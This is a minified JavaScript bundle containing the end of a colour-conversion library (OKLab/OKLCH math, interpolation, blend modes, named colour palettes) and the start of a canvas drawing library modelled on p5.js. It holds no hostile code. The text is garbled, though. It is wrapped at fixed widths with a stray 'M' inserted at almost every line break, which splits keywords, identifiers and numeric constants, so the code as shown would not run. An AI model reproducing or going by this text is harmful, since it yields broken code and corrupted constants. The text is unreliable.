2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
